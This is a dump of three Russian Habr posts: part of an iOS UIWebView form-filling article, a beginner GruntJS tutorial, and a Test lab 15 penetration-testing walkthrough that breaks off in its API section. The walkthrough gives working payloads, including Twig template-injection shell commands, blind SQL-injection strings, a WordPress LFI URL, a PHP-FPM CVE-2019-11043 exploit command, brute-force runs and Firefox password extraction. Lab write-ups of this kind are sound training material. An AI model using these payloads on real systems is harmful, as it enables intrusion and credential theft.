UIWebView \*webView = [[UIWebView alloc] initWithFrame:self.view.bounds];
webView.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;
webView.backgroundColor = UIColor.whiteColor;
webView.scalesPageToFit = YES;
webView.delegate = self;
[self.view addSubview:webView];
\_webView = webView;
}
// ...
- (void)reload {
self.hasForm = NO;
self.view.alpha = 0.0;
[self.webView stopLoading];
[self.webView loadRequest:self.request];
}
// ...
@end
```
Наш контроллер содержит *UIWebView*, в который мы будем загружать страницу с формой, и объект *NSURLRequest*, который мы будем использовать для хранения запроса для загрузки страницы. Указание свойства *autoresizingMask* для объекта view позволит в дальнейшем без проблем использовать данный контроллер в качестве child view controller, а свойством *alpha* будем управлять его видимостью.
Создадим где-то в недрах нашего проекта объект контроллера и загрузим в него страницу с формой.
```
static NSString *kMRHabraURLString = @"http://habrahabr.ru";
MRWebViewController *controller = [[MRWebViewController alloc] initWithURLString:kMRHabraURLString];
[controller reload];
```
При этом результат загрузки страницы перехватим соответствующей функцией делегата в нашем контроллере. Манипулировать объектами DOM удобно при помощи jQuery. Поэтому убедимся, что в загруженной странице он точно будет присутствовать.
```
- (void)webViewDidFinishLoad:(UIWebView *)webView {
if (!self.hasForm) {
NSLog(@"Installing jQuery at %@", webView.request.URL.absoluteString);
[self.webView stringByEvaluatingJavaScriptFromString:[MRScriptsFactory jqueryScript]];
self.hasForm = YES;
} // ...
}
```
Процесс загрузки веб-страницы происходит асинхронно, и хотя страница еще может до конца не загрузиться, ничто не мешает нам в этот момент уже отобразить пользователю нативную форму, реализованную программно. При этом нативная форма берет на себя ответственность за ввод и проверку данных, получаемых от пользователя.
После того, как пользователь заполнил нативную форму и нажал в ней на кнопку «Искать», наш контроллер получает сообщение *searchWithString:*.
```
- (BOOL)searchWithString:(NSString *)searchString {
BOOL result = NO;
if (self.hasForm) {
// ...
NSString *actualString = [searchString stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];
NSString *script = [NSString stringWithFormat:[MRScriptsFactory fillFormScript], actualString];
NSString *scriptResult = [self.webView stringByEvaluatingJavaScriptFromString:script];
__autoreleasing NSError *error = nil;
id object = [NSJSONSerialization JSONObjectWithData:[scriptResult dataUsingEncoding:NSUTF8StringEncoding] options:0 error:&error];
result = (!error && [object isKindOfClass:[NSDictionary class]] && [object[@"success"] boolValue]);
// ...
}
return result;
}
```
В нашем случае скрипт, получаемый через *[MRScriptsFactory fillFormScript]*, имеет вид:
```
(function ($, searchString) {
var components = {
$text : $("form#search_form input[type='text']"),
$submit : $("form#search_form input[type='submit']")
};
components.$text.val(searchString);
components.$submit.click();
return JSON.stringify({
"success" : true
});
})(jQuery, '%@');
```
Как видно из исходного кода скрипта, он производит заполнение текстового поля формы строкой поиска и программно эмулирует нажатие на кнопку формы.
Так как никакой последующей обработки данных, получаемых в результате исполнения запроса в UIWebView, нами изначально не предусматривалось, то в нашем примере мы просто «проявляем» его пользователю.
```
- (void)webViewDidFinishLoad:(UIWebView *)webView {
if (!self.hasForm) {
// ...
} else if (self.isScriptExecuting) {
[UIView animateWithDuration:0.3 animations:^{
self.view.alpha = 1.0;
}];
self.scriptExecuting = NO;
// ...
}
}
```
Данный подход успешно применяется нами длительное время и хорошо себя зарекомендовал. Полный исходный код примера располагается [здесь](https://github.com/emapp/WebFormSample)
Если у вас есть вопросы, или вы хотите поделиться своими best practices по работе с формами, предлагаю обсудить это в комментариях. | https://habr.com/ru/post/211522/ | null | ru | null |
# Делаем жизнь проще, GruntJS (для новичков)
#### Что такое GruntJS
Большинство JS разработчиков уже используют какие-то инструменты компоновки для своих разработок, даже если не знают или не используют этот термин. Они объединяют файлы при разработке, уменьшают код JavaScript-а, чтобы ускорить загрузку страниц и конвертировать Sass, или уменьшают количество файлов в CSS для браузера, и много чего другого. Чаще всего это разные инструменты, что есть не очень удобно.
Grunt помогает управлять всеми этими шагами в одном месте и организовать сторонние компоненты.
#### И зачем нам это счастье?
Все ранее существующие инструменты имели свои основы в различных областях программирования. Поскольку они не были построены в первую очередь для JS разработчиков, у них были свои плюсы и минусы. Некоторые требуют знание других языков или использовать отдельные диалекты XML, которые нужно сначала изучить, а потом их не так уж и легко настроить.
Так почему бы не иметь инструмент, который специально для этого разработан, который написан на языке, который JS разработчики используют ежедневно, что делает его использование простым для них? Grunt полностью написан на JavaScript и работает на Node.js, он может быть использован на различных платформах.
Надеюсь поставить nodejs, не составит большого труда. Одна ремарка по этому поводу для пользователей windows: что бы использовать командную строку в полной мере для управления nodejs и его пакетами, советую поставить <https://code.google.com/p/msysgit/>.
Grunt еще молод, но уже претерпел некоторые существенные изменения в недавно выпущенной версии 0.4. Теперь он состоит только из небольшого клиента командной строки и показа основной задачи. Все дополнительные функции основаны на плагинах, так что вы можете настроить его для особенных потребностей вашего проекта без каких-либо наворотов. Grunt и все подключаемые модули добавляются в директорию вашего проекта, чтобы убедиться, что все, что нужно, чтобы построить и поддерживать ваш проект, всегда остается на месте. Эти модули можно либо загружать вместе с проектом, или же если платформы для разработки будут отличаться, то лучше все используемые модули хранить в файле, грунт файле (об это чуть дальше).
Несмотря на то, что Grunt все еще довольно на ранней стадии развития, уже есть много плагинов, для (почти) всех ваших потребностей в области разработки:
Уменьшение JavaScript и CSS, интеграция предварительных процессоров для CSS и JavaScript таких, как Sass/Compass, Less and Stylus, CoffeeScript или LiveScript Сасс / Compass, оптимизация размера файлов изображения PNG и JPEG и автоматическое встраивание изображений, и многое другое.
Если вы планируете писать большие веб-приложения, Grunt также интегрирует оптимизации для Require.js и Google Closure Compiler и позволяет предварительной компиляции шаблонов Handlebars, Jade, Underscore, Mustache, Eco или Hogan. Также уже есть плагины для наиболее распространенных каркасов для тестирования таких, как Jasmine, Mocha, QUnit и Cucumber.
На все доступные плагины есть ссылки на сайте Grunt (и если кто-то публикует новый модуль Node.js с ключевым словом «gruntplugin», он автоматически добавляется в список).
Как вы видите, Grunt не только поможет вам создать свой проект, но и выступает в качестве центрального узла настройки для внешних инструментов.
#### Установка и подготовка к работе
Теперь у вас есть первое впечатление, что такое Grunt, и пришло время, чтобы начать. Прежде всего, убедитесь, что Node.js установлен на вашем компьютере. Существуют инсталляторы доступные для различных платформ, которые позволяют вам начать прямо сейчас. Откройте терминал и напечатайте
```
npm install grunt-cli -g
```
чтобы установить инструмент командной строки Grunt.
Старые версии Grunt шли с набором предопределенных основных задач. Для того, чтобы он стал более гибким и настраиваемым, они были удалены в недавнем релизе 0.4 и могут быть установлены в качестве отдельных плагинов задач, которые упростят вам начало работы с ним.
Во-первых, создайте файл в корневой папке проекта под названием package.json. Если вы знакомы с Node.js, вы возможно уже знакомы с этим файлом, мы начнем с самого основного для нашего проекта.
```
{
"author" : "authorName",
"name" : "FrontEnd-Project",
"version" : "0.0.1",
"devDependencies" : {
"grunt" : ">= 0.4",
"grunt-cli" : ">= 0.1.6",
"grunt-contrib-watch" : "~0.3.1",
"grunt-contrib-cssmin" : ">=0.5.0",
"grunt-contrib-uglify" : ">=0.2.0",
"grunt-contrib-concat" : ">=0.1.3"
}
}
```
(package.json — файл с настройками для nodejs. Кладём файл в корень папки с проектом, открываем консоль, заходим в папку и выполняем npm install, все пакеты и зависимости описанные в файле будут установлены в папку вашего проекта. Подробней <http://package.json.nodejitsu.com/>).
##### Запускаем Grunt
После того, как Grunt и все зависимости, необходимые для нашего проекта установлены, пришло время, чтобы начать с самой настройкой Grunt-а. Таким образом, мы добавляем файл с именем Gruntfile.js в корень нашего проекта рядом с ранее созданным файлом package.json. Это основной файл для конфигурации Grunt, который содержит список загружаемых задач, и описание их работы.
Основной файл настройки может выглядеть следующим образом:
```
//Стандартный экспорт модуля в nodejs
module.exports = function(grunt) {
// Инициализация конфига GruntJS
grunt.initConfig({
//Настройки различных модулей GruntJS, их нужно предварительно установить через менеджер пакетов npm, или добавить в файл package.json перед запуском npm install
//Например проверка кода javascript с помощью утилиты jshint
jshint: {},
//Склеивание файлов
concat: {}
//И так далее
});
//Загрузка модулей, которые предварительно установлены
grunt.loadNpmTasks('grunt-contrib-jshint');
grunt.loadNpmTasks('grunt-contrib-concat');
//Эти задания будут выполнятся сразу же когда вы в консоли напечатание grunt, и нажмете Enter
grunt.registerTask('default', ['jshint', 'concat']);
};
```
Итак, вы видите, что все нужные конфигурации написаны на JavaScript. В принципе, вам нужны три различных метода для работы с Grunt:
```
grunt.initConfig
grunt.loadNpmTasks
grunt.registerTask
```
Каждая задача может быть вызвана отдельно из командной строки, передав его имя в качестве параметра командной строки: Например, grunt jshint будет выполнять только задачи, направленные на контроль стиля программирования на соответствие стандартам вашего проекта. С grunt.registerTask вы определяете задачу по умолчанию для запуска, когда Grunt вызывается без параметров. Он выполняет перечисленные задачи в заданном порядке, в нашем случае jshint, concat and uglify.
Описывать каждый плагин, это отдельная тема для разговора. Часто используемые можно найти здесь <https://github.com/gruntjs/grunt-contrib>. Там можно найти полное описание и последней версии для часто используемых GruntJS плагинов.
#### Ну и наконец!
Чтобы начать использовать Grunt проделаем такие шаги:
1. Нужно поставить nodejs, найти инсталяшку под свою систему можно тут <http://nodejs.org/>
2. Если у вас windows, рекомендую поставить <https://code.google.com/p/msysgit/> для удобства.
3. Создаем в папке с проектом два файла package.json и Grunfile.js, настраиваем их, как это сделать читаем выше.
4. Создаем папку под проект, или заходим в уже существующую с помощью консоли, и выполняем команду npm install, для того что бы установить Grunt, и все нужные пакеты (которые описываем предварительно в package.json).
5. Ну и что бы запустить Grunt, выполняем команду grunt, в консоли.
С Grunt-ом, JS разработчики имеют очень гибкий инструмент под рукой, который помогает при автоматизации повторяющихся задач. После настройки, вы можете настроить задачи по времени, сделать это волшебство в фоновом режиме, или интегрировать Grunt в ваш IDE или редактор для кодирования как внешнюю команду разработки (которая прекрасно работает в Sublime Text, например).
Код проверки и тестирования повышает общее качество и поможет вам поддерживать постоянный стандарт кодирования, что делает Grunt также идеальным инструментом для команд, работающих на крупномасштабных проектах.
Официальный сайт <http://gruntjs.com/>
Спасибо за внимание, до скорых встреч. | https://habr.com/ru/post/177395/ | null | ru | null |
# Test lab 15 writeup: как вам н0в1ч0к?
15-го марта 2021 г. мы запустили пятнадцатую по счёту лабораторию тестирования на проникновение Test lab под кодовым названием названием: **Who is the n0v1ch0k?**
На 12 день в режиме нон-стоп участнику [BadBlackHat](https://codeby.net/members/badblackhat.71697/) удалось первому скомпрометировать все узлы лаборатории. Для всех остальных, кто пытался, пытается и будет пытаться пропентестить Test lab 15, мы решили опубликовать ее прохождение.
Лаборатории [Test lab](https://lab.pentestit.ru) — бесплатные площадки для проверки и закрепления навыков тестирования на проникновение, представляющая собой корпоративную сеть виртуальной компании из уязвимых и неуязвимых компонентов (серверов, сетевого оборудования и рабочих станций).
Итак, пришло время разобрать все задания Test lab 15, чтобы дать возможность тем, у кого не получается, глубже погрузиться в мир информационной безопасности и узнать для себя что-то новое. Содержание получилось довольно объёмным, но, надеемся, что интересным.
> **Статья носит информационный характер. Не нарушайте законодательство.**
>
>
Подключение к лаборатории
-------------------------
Для подключения к лаборатории используем логин/пароль, полученные в [личном кабинете](https://lab.pentestit.ru/how-to-connect). Там же находится инструкция для настройки OpenVPN соединения для Linux и Windows платформ. На момент написания статьи, 26 марта, было установлено более 500 уникальных подключений к VPN. При этом, только 124 участника смогли взять хотя бы один токен.
После подключения становятся доступны шлюзы 192.168.101.16 и 192.168.101.17, за которыми расположены остальные узлы лаборатории. Сканируем хост 192.168.101.16 на наличие открытых портов и находим только открытый 80 порт:
```
# nmap -sV 192.168.101.16
```
РезультатЧерез 192.168.101.16 можно взаимодействовать только с веб-приложением в виде сайта, но не ясно, что с ним делать, поскольку мы не имеем учетных данных для авторизации, а автоматические инструменты сканирования не дали ожидаемых результатов. Веб-приложение защищено с помощью [Nemesida WAF](https://waf.pentestit.ru), работу которого можно оценить на примере этого сайта. Если вызвать ошибку 404 или 50х, то появится кастомная страница, где указан e-mail, который мы записываем к себе.
Также на странице сайта есть адрес электронной почты info@test.lab. Сохраняем эти данные. Решив не тратить время на перебор паролей для этих пользователей, двигаемся дальше.
**Mail**
Сканируем хост 192.168.101.17 и находим открытые порты 143 и 8100. Это сервисы IMAP и HTTP, где есть форма аутентификации для пользователей.
```
# nmap -sV 192.168.101.17
```
РезультатВоспользовавшись инструментом Hydra начинаем перебор паролей для ранее найденных пользователей info@test.lab и support-web@test.lab, но подобрать удается только для последней учетной записи.
```
# hydra -l support-web@test.lab -P /usr/share/john/password.lst imap://192.168.101.17
```
РезультатАвторизуемся через веб-форму и попадаем в почту. Находим токен, jar-файл и конфигурационный файл для VPN, все сохраняем к себе.
Подключаемся с новой конфигурацией VPN и в журнале подключения видим добавление новых маршрутов на подсети:
# routeПри сканировании подсети 10.0.4.0/24 находим только один доступный хост 10.0.4.251 с открытым 80 портом.
```
# nmap -sV 10.0.4.0/24
```
РезультатТакже сканируем и другие сети:
```
# nmap -sV 10.1.4.0/24
```
РезультатЗамечаем доступные хосты 10.1.4.20 и 10.1.4.250.
```
# nmap -sV 10.0.2.0/24
```
Результат
```
# nmap 10.1.0.0/24
```
Результат**VPN-2**
Переходим по адресу 10.1.4.250 и видим стандартную страницу сайта, в коде которой ничего интересного обнаружить не удалось. Поиск директорий с помощью Dirb оказался безрезультатным. Поскольку сами задания предполагают поиск токенов, то попробуем использовать слово «token» в запросе. В результате скачивается файл, содержащий токен.
**DNS**
На хосте 10.1.4.10 открыт 53 порт, который используется сервисом Bind, то есть, это DNS-сервер. Используя имя домена сайта, составим команду для AXFR:
```
# dig axfr test.lab @10.1.4.10
```
Результатгде в выводе указаны IP-адреса других серверов в сети и забираем токен.
**AD**
Так как мы знаем, что 10.1.0.4 - это контроллер домена, то запустим enum4linux и попробуем получить какую-нибудь информацию о домене:
```
# enum4linux 10.1.0.4
```
РезультатДанные одного из пользователей содержат токен.
**JAVA**
Теперь разберемся с JAR-файлом, который нашли на почте. Открываем jar-файл как архив и открываем Main.class в IDE:
В коде видим данные для подключения к SSH к серверу 10.1.0.10, но указанный в коде пароль не подходит.
Видоизменяем кодСохраняем файл и компилируем. Запустив его повторно получим корректные данные для подключения к серверу 10.1.0.10 по SSH:
```
# java -jar client_испр.jar
```
Вывод **Dev**
На сервере 10.1.0.10 в директории /opt/token находим токен, а в папке scripts - скрипт, который должен создавать архив vpn.zip на этом же сервере.
Через htop отслеживаем время выполнения скрипта, проверяем содержимое директории и забираем архив, в котором находится еще один файл конфигурации для VPN. Подключившись с новой конфигурацией получаем доступ к серверам, которые ранее были для нас закрыты.
# route**Users**
Просканируем сеть 10.0.2.0/24
```
# nmap -sV -Pn 10.0.2.0/24
```
Находим машины 10.0.2.2-10.0.2.5. Вероятно, это пользовательские машины, учетные записи которых мы нашли ранее. Открыт 22 порт SSH, поэтому будем подбирать пароль с помощью Hydra:
```
# hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://10.0.2.3
```
РезультатПолучаем пароли от пользователей **stepanova** и **ivanov**. Авторизуемся с этими учетными данными на каждой машине и ищем какую-нибудь интересную информацию. На сервере 10.0.2.2 в домашней директории пользователя ivanov находим файл-контейнер от KeePass.
Как правило, они защищены паролем, но стандартный пароль от учетной записи не подходит. Исследовав сервер также находим установленный браузер Mozilla Firefox. Пользователи часто используют одни и те же пароли для различных сервисов. Попробуем найти пароль там.
Файл с паролями хранится в домашней директории пользователя:
```
~/.mozilla/firefox/
```
Имя файла, содержащего пароли, можно узнать отфильтровав параметр path из файла profiles.ini:
```
cat ~/.mozilla/firefox/profiles.ini | grep -i "path"
```
Получить данные можно использовав python скрипт [FIREFOX\_DECRYPT](https://github.com/Unode/firefox_decrypt), клонируем проект с GitHub:
```
# git clone https://github.com/Unode/firefox_decrypt
```
При запуске скрипт спросит мастер пароль, но по умолчанию он пустой. Результатом работы скрипта будут сохраненные пароли.
Выводим данные:
# python firefox\_decrypt.pyВводим полученный пароль в файл-контейнер и разблокируем его, получив токен в одном из его полей.
**Reverse**
В директории пользователя leonov на сервере 10.0.2.4 обнаруживаем файл dehcip, который можно запустить, но он будет выдавать некорректные токен и приватный ключ.
$ ./dechip Необходимо произвести реверс-инжиниринг файла для восстановления алгоритма его работы.
Для начала делаем дамп файла с помощью objdump:
```
objdump -S -t dechip > dechip.txt
```
Открываем полученный файл dechip.txt, видим там следующее:
СодержимоеИз Dechip.txt удаляем лишнее и оставляем читаемый код на C, чтобы более явно было видно алгоритм. Получаем следующее:
```
// My Bubble Sort
void bubble(elem_t *start, elem_t *finish){
elem_t swap_el, *swap_p;
int size = finish - start;
if (size <= 1) return;
for (elem_t *i = finish; i >= start; i--){
for (elem_t *j = start; j < finish-1; j++){
if (j->key > j[1].key){
swap_p = j+1;
swap_el = *swap_p;
*swap_p = *j;
*j = swap_el;
}
}
}
}
int main (){
int roundCounter = 0;
unsigned char tmp;
printf("Token:\n");
bubble(&token[0],&token[14]);
for (int i=0; i<15; i++){
printf("%c",token[i].value);
printf("\n\n");
printf("Key:\n");
printf("\n-----BEGIN RSA PRIVATE KEY-----\n");
printf("%s",firstLine);
printf("%s",secondLine);
roundCounter = 0;
for (int c=0; c<3200; c+=2){
if ( c % 128 == 0 ){printf("\n");}
tmp = (body2[c]%32 +9) % 25 *16 + (body2[c+1]%32 +9) %25;
tmp = tmp ^ token[roundCounter].value;
printf("%c",tmp);
roundCounter++;
if (roundCounter == 15) {
roundCounter = 0;
}
printf("\n");
printf("-----END RSA PRIVATE KEY-----\n");
return 0;
}
```
Из анализа кода можно сделать вывод, что использовалась собственная реализация сортировки “пузырёк” массива структур из 15 элементов вида {key, value}. После чего применялась операция битового исключающего ”или” (xor) к некоторому массиву. На основе полученных данных будем исправлять бинарный файл.
Анализируя реализацию алгоритма сортировки “пузырёк”, находим ошибку:
То есть, цикл доходит не до конца массива.
Создаем вспомогательную программу (в нашем случае назовем ее blanker.c) и сохраняем в файл:
```
#include
typedef struct {
unsigned int value;
unsigned int key;
} elem\_t;
elem\_t key[15] = {{1,2},{1,2},{2,3},{4,5},{6,7},
{1,2},{1,2},{2,3},{4,5},{6,7},
{1,2},{1,2},{2,3},{4,5},{6,7}};
int main (){
elem\_t a, \*start, \*finish;
start = &key[0];
finish = &key[14];
for (elem\_t \*i = start; i < finish-1; i++){
a.key = i->key;
a.value = i->value;
}
return 0;
}
```
Компилируем исходник:
```
gcc -O0 -g -o blanker blanker.c
```
А также создаем и компилируем файл с исправленной версией сортировки:
```
#include
typedef struct {
unsigned int value;
unsigned int key;
} elem\_t;
elem\_t key[15] = {{1,2},{1,2},{2,3},{4,5},{6,7},
{1,2},{1,2},{2,3},{4,5},{6,7},
{1,2},{1,2},{2,3},{4,5},{6,7}};
int main (){
elem\_t a, \*start, \*finish;
start = &key[0];
finish = &key[14];
for (elem\_t \*i = start; i < finish; i++){
a.key = i->key;
a.value = i->value;
}
return 0;
}
```
```
gcc -O0 -g -o blanker2 blanker.c
```
Создаем дамп обоих полученных исполняемых файлов:
```
objdump -S -t blanker > blank1.txt
objdump -S -t blanker2 > blank2.txt
```
Получается, чтобы скорректировать неправильный цикл, нужно скорректировать команду **mov**, убрать команду **sub** (например, перекрыть командой **nop)**, команду **cmp** и условный переход **jb**.
Смотрим аналогичный код в программе dechip:
Данный хекс-код нужно привести к виду:
Для этого открываем исходный файл dechip в hex-редакторе и ищем в нём стартовую последовательность **48 83 45 e8 08**:
Исправляем:
Сохраняем изменения в файле и запускаем. Результатом работы будет вывод корректного токена и приватного ключа.
# ./dechip\_correct\_rsa **VPN-1**
По аналогии с заданием vpn-2 обращаемся по адресу 10.0.4.250/token и скачиваем файл с токеном.
 **News**
К серверам 10.0.4.3, 10.0.4.4 и 10.0.4.12 доступ возможен только с определенных машин. Методом "проб и ошибок" выясняем, что обратиться к ним можно только через пользовательские машины 10.0.2.2-10.0.2.5. Пробрасываем туннель, используя sshuttle:
```
# sshuttle -r ivanov@10.0.2.3 10.0.4.0/24
```
Авторизуемся в системе с учетной записью пользователя ivanov с паролем для KeePass и открывается новостная лента.
Проверяем веб-приложение на наличие SQL-инъекций, но не получаем никакой видимой реакции на пейлоады. Тогда попробуем эксплуатировать Blind SQL-injection.
Проверяем простые условные выражения:
```
1' or 1=1 -- -
1' or 1=2 -- -
1' or sleep(10) -- -
```
Условные операторы выполняются и производится задержка в 10 секунд. Это значит, что можно говорить о наличии уязвимости. Теперь остается только подобрать правильный пейлоад для поиска токена в базе данных. К сожалению, автоматизировать процесс эксплуатации инъекции либо не получится, либо будет очень проблематично т.к. с каждым запросом изменяется название полей для пользовательского ввода.
Конечный пейлоад для проверки наличия того или иного символа будет выглядеть так:
```
may%' and if(substring((select token from token limit 1),1,1)='I',sleep(10),1); -- -
```
Изменяя позицию проверяемого символа и букву мы сможем проверить все варианты и составить токен.
**Bugtracker**
На сервере 10.0.4.3 обнаруживаем еще одно веб-приложение.
Смотрим какие cookie передаются в запросах. Есть PHPSESSID и logged — пока что просто запоминаем эту информацию.
Проверяем строку поиска на использование шаблонизаторов, основываясь на методе их определения:
Введя на последнем этапе {{7\*'7'}} и получив результат 49 делаем вывод, что используется Jinga2 или Twig. Читаем документацию по шаблонизатору Twig и вводим команду в поисковой строке для получения текущего id пользователя:
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```
РезультатПолучаем id пользователя, но пока это ничего не дает. На основе тикетов выясняем, что для логинов в системе используется **salt**. Выполняем поиск в index.php по слову «salt» командой:
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat index.php | grep 'salt'")}}
```
РезультатПомимо salt к логинам применяется двойное MD5 хеширование. Выполняем поиск по msalt в index.php. Строки нет и возможно переменная определена в другом файле. Производим поиск командами:
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat index.php | grep 'include'")}}
```
Результат
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat index.php| grep 'require'")}}
```
РезультатРезультат отрицательный. Попробуем последовательно искать подключаемые файлы:
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat settings.php")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat configuration.php")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat config.php")}}
```
РезультатПоследняя команда дает результат, что означает, что файл присутствует. Выполняем поиск $msalt по файлу config.php:
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat config.php | grep 'msalt'")}}
```
РезультатПолученный salt TL2020 склеиваем с логином администратора bug.admin и дважды применяем MD5 хеширование:
```
echo -n 'TL2020bug.admin' | md5sum
echo -n 'e5dd5634ce279aabd853eb5b737b520f' | md5sum
```
Получившийся результат подставляем в cookie в параметр logged и обновляем страницу. Видим, что мы залогинены как администратор, а в имени находится токен.
**ITNews**
Заходим на сайт под пользователем stepanova и попадаем на страницу с записями и полями для их фильтрации. Не обнаружив на странице уязвимостей смотрим исходный код и замечаем подключаемые скрипты:
Изучив каждый из них, останавливаемся на /inc/script.js, где в самом конце присутствует самописный скрипт, генерирующий AJAX-запрос и указана страница /load\_news.php:
Перейдя на страницу обнаруживаем, что на ней находится несколько записей:
Используя параметр search составляем запрос для SQLmap:
```
# sqlmap -u 10.0.4.4/load_news.php?search=* --dbms=PostgreSQL --cookie="PHPSESSID=6d2u26b67bs8v7on07j964jr0c" --tamper=between
```
РезультатДампим содержимое таблиц:
```
# sqlmap -u http://10.0.4.4/load_news.php?search=* --dbms=postgresql --cookie="PHPSESSID=6d2u26b67bs8v7on07j964jr0c" --tamper=between --tables
```
РезультатИ получаем токен.
**Router**
На хосте 10.0.4.20 открыт 161 UDP порт, предназначенный для протокола SNMP. Перебор community-строк для 1 и 2 версии SNMP не дал результатов, поэтому будем работать с v3. Особенность данного режима в повышенном уровне безопасности и 3 режимами аутентификации:
* имя пользователя;
* имя пользователя и пароль;
* имя пользователя, пароль и пароль шифрования.
Для получения имени пользователя запускаем Patator. К статью, имя пользователя можно получить независимо от используемого режима безопасности:
```
# patator snmp_login host=10.0.4.20 version=3 user=FILE0 0=users.txt -x ignore:mesg="Unknown USM user"
```
РезультатПолучаем имя пользователя Rafael.
Теперь запускаем инструмент [SNMPWN](https://github.com/hatlord/snmpwn), который будет одновременно перебирать пароль и пароль шифрования для указанного пользователя:
```
# ./snmpwn.rb --hosts hosts.txt --users users.txt --passlist passwords.txt --enclist passwords.txt
```
РезультатКстати, этот инструмент может подобрать и имя пользователя, если указать в users.txt несколько логинов. Подобрав пароль и пароль шифрования используем SNMPwalk для получения информации о конфигурации роутера и токен:
```
# snmpwalk -v3 -u rafael -a SHA -A spiderman -x AES -X ChangeMe -l authPriv 10.0.4.20
```
Результат**Site**
Ранее сайт у нас был доступен, но находился под защитой WAF. Теперь же, когда мы пробились в одну сеть к нему, мы можем пытаться искать и эксплуатировать уязвимости. Просканируем сайт с помощью whatweb, не забыв прописать 10.0.4.2 в /etc/hosts для обращения к сайту в обход WAF:
```
# whatweb 10.0.4.2
```
РезультатУзнали, что веб-сервер - Nginx 1.18 и CMS WordPress 5.6.1. Запускаем WPScan для поиска более подробной информации:
```
# wpscan --url http://10.0.4.2 --plugins-detection aggressive
```
РезультатНаходим список плагинов, среди которых оказывается уязвимый backup-by-supsystic
Находим информацию о его уязвимости на [exploit-db](https://www.exploit-db.com/exploits/49545) и используем эксплойт из описания для эксплуатации LFI. В результате скачивается файл /etc/passwd, где находится токен:
```
http://site.test.lab/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd
```
Результат запроса**Admin**
Как в случае с заданиями News,Bugtrack и ITnews доступ на сервер возможен только с определенной машины - 10.0.2.4. Для подключения используем найденный в задании Reverse приватный ключ:
```
$ ssh leonov@10.1.0.2 -i /tmp/ghost
```
Подключение к серверуВ домашней директории пользователя находим токен.
**VoIP**
Также на сервере находим некий дамп в директории /opt и копируем его к себе для анализа. Анализируем дамп:
```
$ tcpdump -r /root/dump -A
```
Просмотр через tcpdumpИ обнаруживаем упоминание IP-телефонии [Asterisk](https://www.asterisk.org/). Теперь откроем этот дамп с помощью [Wireshark](https://www.wireshark.org/) и перейдем в раздел телефонии, где сможем прослушать телефонный разговор и получить токен.
**FPM**
Попав на сервер 10.1.0.2 нам стали доступны еще несколько хостов. В частности 10.1.0.3. При помощи NetCat просканировали открытые порты сервера командой:
```
nc -vnz 10.1.0.3 1-65536 2>&1 | grep -v 'timed out'
```
В итоге обнаружили 2 открытых порта - 80 и 6001.
Выполним проброс до удаленной машины последовательными командами:
```
sshuttle -r ivanov@10.0.2.4 10.1.0.0/24
ssh -L 80:10.1.0.3:80 leonov@10.1.0.2 -i /root/ghost
```
где /root/ghost - сертификат, полученный в задании Reverse. Обратимся к сайту и видим, что сайт на профилактике:
Попытка фаззинга директорий через Dirb ни к чему не приводит. Похоже, что на этом сайте ничего интересного нет. Пробросим порт 6001 и посмотрим что там:
```
sshuttle -r ivanov@10.0.2.4 10.1.0.0/24
ssh -L 6001:10.1.0.3:6001 leonov@10.1.0.2 -i /root/ghost
```
Во время сканирования сайта с помощью Dirb был найден файл index.php. Это означает, что сайт работает в связке Nginx+PHP-fpm. Поэтому можно предположить, что порт 6001 обслуживает сервис PHP-fpm, хотя и не является стандартным для него. В этом случае можно проверить уязвимость [CVE-2019-11043](https://www.opennet.ru/opennews/art.shtml?num=51749), выполнив скрипт:
```
# python fpm.py 127.0.0.1 /var/www/html/index.php -c "php system('ls /var/'); ?"
```
РезультатПолучив положительный результат можно пробовать искать токен:
Токен представлен в виде картинки, что явно неспроста. Сохраним картинку для дальнейшего исследования. Дополнительно на сервере можно найти дамп testlab.cap.
**Wireless**
Откроем testlab.cap с помощью Aircrack-ng:
```
# aircrack-ng testlab.cap -w /usr/share/wordlists/rockyou.txt
```
РезультатВыбираем сеть Testlab и ожидаем окончания работы инструмента
**WITH?**
Изучаем картинку, которую скачали, выполняя задание FPM. Дополнительной информации, кроме размера у нее нет, поэтому предположим, что здесь применялась [стеганография](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%B3%D0%B0%D0%BD%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F). Cкачиваем пакет с [Github](https://github.com/subc/steganography) для исследования стеганографических надписей и применяем к нашей картинке:
```
# python2 steganography.py -d /root/token.jpg
```
РезультатВ выводе получаем токен.
**Elastic**
При исследовании сервера Admin (10.1.0.2) в .bash\_history видим подозрительный curl-запрос к хосту 10.1.4.5. Пробрасываем этот порт на локальную машину:
```
# ssh -L 9200:10.1.4.5:9200 leonov@10.1.0.2 -i /root/ghost
```
Создание туннеляИ обращаемся в браузере к сервису Elastic, но для начала требуется пройти аутентификацию. Судя по всему используется basic auth. Имя пользователя у нас известно bj\_smith, а пароль подобрать не будет проблемой:
```
# patator http_fuzz auth_type=basic url=http://127.0.0.1:9200 user_pass=FILE0:FILE1 0=combos.txt 1=/usr/share/wordlists/rockyou.txt -x ignore:code=401
```
Результатполучаем список индексов:
Видим 2 индекса documents и documents2. Запрашиваем содержимое:
```
http://127.0.0.1:9200/documents/_search?pretty
```
Результат запросаПолучаем первые 10 записей. Предполагаем, что токен находится в поле text, но содержит не только буквы но и цифры. Составим curl-запрос, которым будем искать совпадения в цифрах для поля "text". На цифре 3 получили нужный результат в виде токена:
```
# curl -u bj_smith -XGET "127.0.0.1:9200/documents/_search?pretty" -H 'Content-Type: application/json' -d '{ "query": {"query_string": {"query": "*3*", "default_field": "text"} } }'
```
Результат**API**
На сервере 10.0.4.11, доступный через сервер 10.1.0.2 (Admin) доступен 80 порт. Выполним проброс на локальную машину и изучим веб-приложение:
```
